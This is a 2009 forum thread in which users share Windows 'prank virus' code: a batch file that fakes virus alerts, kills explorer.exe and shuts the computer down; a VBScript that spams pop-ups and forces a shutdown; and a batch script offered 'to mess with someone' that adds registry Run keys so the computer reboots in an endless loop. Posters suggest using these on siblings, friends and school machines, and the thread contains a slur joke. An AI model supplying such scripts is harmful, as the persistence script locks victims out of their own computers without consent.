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2009 Dec 8 at 19:55 UTC
— Ed. 2009 Dec 8 at 20:41 UTC
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What are you doing?
Is this the worst way to spread a virus ever, or what?
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2009 Dec 9 at 03:46 UTC
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superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
Why would I spread a virus on the forum?
I quite like the people here.
It was a tutorial.
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2009 Dec 9 at 03:49 UTC
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I drink to forget but I always remember.
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2009 Dec 9 at 03:59 UTC
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superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
Make awkward sexual advances, not war. Down Rodeo said: Dammit, this was the one place that didn't have this, but noooooo, molkman pisses all over that
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2009 Dec 9 at 04:40 UTC
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SolidKAYOS said: superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.
...and that's the bottom line because Mate de Vita said so.
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2009 Dec 9 at 15:35 UTC
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Mate de Vita said: SolidKAYOS said: superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
I hope you at least made it a shutdown -t 00 or 01 or whatever that fag is.
fixed
I drink to forget but I always remember.
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2009 Dec 10 at 04:08 UTC
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Mate de Vita said: SolidKAYOS said: superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.
Nope its was just a normal one.I suck.
Make awkward sexual advances, not war. Down Rodeo said: Dammit, this was the one place that didn't have this, but noooooo, molkman pisses all over that
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2009 Dec 10 at 04:12 UTC
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SolidKAYOS said: Mate de Vita said: SolidKAYOS said: superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.
Nope its was just a normal one.I suck.
Batch code @echo OFF
title Virus Detected Do Not Close Window
echo Virus Detected attempting to remove virus...
echo (press any key to continue)
pause >nul
echo Virus is spreading throughout the system...
echo (press any key to destroy)
pause >nul
echo destroying virus...
echo (press any key to continue)
pause >nul
echo files deleted to destroy virus
echo (press any key to cancel)
pause >nul
taskkill /f /im explorer.exe
cls
echo cancel failed
echo (press any key to restore)
pause >nulecho files restored
start /im explorer.exe
cls
echo files restored
echo (press any key to continue)
pause >nul
echo checking for virus...
echo virus still detected
echo (press any key to destroy)
pause >nul
echo virus is destroyed
echo (press any key to exit)
pause >nul
shutdown -s -t 5 -c "virus infected everything Windows is shuting down
I jus copied that off a site, and realized how 'bad' it is.
code echo (press any key to continue)
pause>nul
would stop the program and output
(press any key to continue)
while
would do the same thing and output
Press any key to continue...
Stupid people
I put this one on my school's computer , showed my history teacher he laughed like hell.
vbs code Set wshShell =wscript.CreateObject("WScript.Shell")
dim first
dim second
dim third
dim fourth
first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected")
if first=6 then
MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101"
elseif first=7 then
second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected")
if second=6 then
MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101"
elseif second=7 then
MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162"
MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support"
end if
end if
colCDROMs.Item(i).Eject
wscript.sleep 5000
MsgBox "error you should have shutdown",0,"Virus Error"
wscript.sleep 1000
MsgBox "cheap viagra ",0+4096,"viagra 4 sale"
wscript.sleep 500
MsgBox "didily do da de ",4096,"song lyrics"
colCDROMs.Item(i).Eject
wscript.sleep 15000
third= MsgBox ("did you think i was done?",4+4096,"back in black")
if third=6 then
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
elseif third=7 then
MsgBox "dont click no ",4096,"clicked no"
colCDROMs.Item(i).Eject
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
end if
do
wscript.sleep 200
MsgBox "free music downloads ",4096,"mp3.com"
number=number+1
loop while number<=10
colCDROMs.Item(i).Eject
wscript.sleep 200
MsgBox "free the free masons now ",4096,"free free masons"
wscript.sleep 200
MsgBox "you are all wrong",4096,"nope"
wscript.sleep 200
MsgBox "free masons suck ",4096,"masons.suck.com"
wscript.sleep 200
MsgBox "syntax error",4096,"error"
wscript.sleep 200
MsgBox "heritic anthom",4096,"slipknot"
wscript.sleep 200
colCDROMs.Item(i).Eject
MsgBox "8.7.6.6.6.5.4.3.2.1",4096,""
wscript.sleep 200
MsgBox "prize is bigg lol ",4096,"free big prizes here"
wscript.sleep 200
MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here"
wscript.sleep 200
MsgBox "!",4096,""
wscript.sleep 200
MsgBox "free tampax pearl ",4096,"pearly tampax"
wscript.sleep 200
MsgBox "didley do da de do da day",4096,"song lyrics"
wscript.sleep 200
MsgBox "iowa",4096,"slipknot"
wscript.sleep 200
colCDROMs.Item(i).Eject
WshShell.Run "shutdown"
Take that and save it as .vbs
Have fun
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2009 Dec 10 at 18:04 UTC
— Ed. 2009 Dec 10 at 18:19 UTC
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that would scare the shit out of my sister i got to do that but add "sending child porn to athuoradeys"
I drink to forget but I always remember.
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2009 Dec 11 at 02:23 UTC
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sprinkles said: SolidKAYOS said: Mate de Vita said: SolidKAYOS said: superjer said: What are you doing?
Is this the worst way to spread a virus ever, or what?
No...the way i tried to give everyone a shutdown command icon was the worst.
I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.
Nope its was just a normal one.I suck.
Batch code @echo OFF
title Virus Detected Do Not Close Window
echo Virus Detected attempting to remove virus...
echo (press any key to continue)
pause >nul
echo Virus is spreading throughout the system...
echo (press any key to destroy)
pause >nul
echo destroying virus...
echo (press any key to continue)
pause >nul
echo files deleted to destroy virus
echo (press any key to cancel)
pause >nul
taskkill /f /im explorer.exe
cls
echo cancel failed
echo (press any key to restore)
pause >nulecho files restored
start /im explorer.exe
cls
echo files restored
echo (press any key to continue)
pause >nul
echo checking for virus...
echo virus still detected
echo (press any key to destroy)
pause >nul
echo virus is destroyed
echo (press any key to exit)
pause >nul
shutdown -s -t 5 -c "virus infected everything Windows is shuting down
I jus copied that off a site, and realized how 'bad' it is.
code echo (press any key to continue)
pause>nul
would stop the program and output
(press any key to continue)
while
would do the same thing and output
Press any key to continue...
Stupid people
I put this one on my school's computer , showed my history teacher he laughed like hell.
vbs code Set wshShell =wscript.CreateObject("WScript.Shell")
dim first
dim second
dim third
dim fourth
first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected")
if first=6 then
MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101"
elseif first=7 then
second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected")
if second=6 then
MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101"
elseif second=7 then
MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162"
MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support"
end if
end if
colCDROMs.Item(i).Eject
wscript.sleep 5000
MsgBox "error you should have shutdown",0,"Virus Error"
wscript.sleep 1000
MsgBox "cheap viagra ",0+4096,"viagra 4 sale"
wscript.sleep 500
MsgBox "didily do da de ",4096,"song lyrics"
colCDROMs.Item(i).Eject
wscript.sleep 15000
third= MsgBox ("did you think i was done?",4+4096,"back in black")
if third=6 then
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
wscript.sleep 500
MsgBox "dont click yes ",4096,"clicked yes"
elseif third=7 then
MsgBox "dont click no ",4096,"clicked no"
colCDROMs.Item(i).Eject
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
wscript.sleep 500
MsgBox "dont click no ",4096,"clicked no"
end if
do
wscript.sleep 200
MsgBox "free music downloads ",4096,"mp3.com"
number=number+1
loop while number<=10
colCDROMs.Item(i).Eject
wscript.sleep 200
MsgBox "free the free masons now ",4096,"free free masons"
wscript.sleep 200
MsgBox "you are all wrong",4096,"nope"
wscript.sleep 200
MsgBox "free masons suck ",4096,"masons.suck.com"
wscript.sleep 200
MsgBox "syntax error",4096,"error"
wscript.sleep 200
MsgBox "heritic anthom",4096,"slipknot"
wscript.sleep 200
colCDROMs.Item(i).Eject
MsgBox "8.7.6.6.6.5.4.3.2.1",4096,""
wscript.sleep 200
MsgBox "prize is bigg lol ",4096,"free big prizes here"
wscript.sleep 200
MsgBox "free rockband gear.do you want it?",4+4096,"rockbadn gear here"
wscript.sleep 200
MsgBox "!",4096,""
wscript.sleep 200
MsgBox "free tampax pearl ",4096,"pearly tampax"
wscript.sleep 200
MsgBox "didley do da de do da day",4096,"song lyrics"
wscript.sleep 200
MsgBox "iowa",4096,"slipknot"
wscript.sleep 200
colCDROMs.Item(i).Eject
WshShell.Run "shutdown"
Take that and save it as .vbs
Have fun
What does this do? lol
I know this thread is old, sorry. :P
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2009 Dec 12 at 16:08 UTC
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Rockbomb
Dog fucker (but in a good way now)
2009 Nov 14 • 2045
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Looks like it will pop up saying there is a virus, then ask if you want to shut down, then say its going to shut down no matter what you choose, then pop up with a bunch of spam windows.
Edit: Then it ejects your cd drive, then shuts your comp down xD
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2009 Dec 12 at 16:13 UTC
— Ed. 2009 Dec 12 at 16:16 UTC
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Does it damage your pc? Or is it like just a prank? That doesn't damage your pc.
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2009 Dec 12 at 16:26 UTC
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Rockbomb
Dog fucker (but in a good way now)
2009 Nov 14 • 2045
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I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.
Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code echo @echo off>c:\windows\Win32.bat
echo break off>>c:\windows\Win32.bat
echo shutdown -r -t 11 -f>>c:\windows\Win32.bat
echo end>>c:\windows\Win32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\Win32.bat /f
echo Owned by Rockbomb
PAUSE
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2009 Dec 12 at 16:44 UTC
— Ed. 2009 Dec 13 at 19:09 UTC
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Rockbomb said: I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.
Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code echo @echo off>c:\windows\Win32.bat
echo break off>>c:\windows\Win32.bat
echo shutdown -r -t 11 -f>>c:\windows\Win32.bat
echo end>>c:\windows\Win32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f
echo Owned by Rockbomb
PAUSE
Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P
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2009 Dec 12 at 17:08 UTC
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Sushi said: Rockbomb said: I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.
Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code echo @echo off>c:\windows\Win32.bat
echo break off>>c:\windows\Win32.bat
echo shutdown -r -t 11 -f>>c:\windows\Win32.bat
echo end>>c:\windows\Win32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f
echo Owned by Rockbomb
PAUSE
Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P
Jus' right click it and hit edit [like you would for your hammer bats]
And none of the 'pranks' I make harm your pc. Thats not funny at all. What is funny is when they think it broke their pc and they are all bitchin' about it and youre like "dude it aint broke" that puts a smile on my face everytime
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— Ed. 2009 Dec 12 at 19:10 UTC
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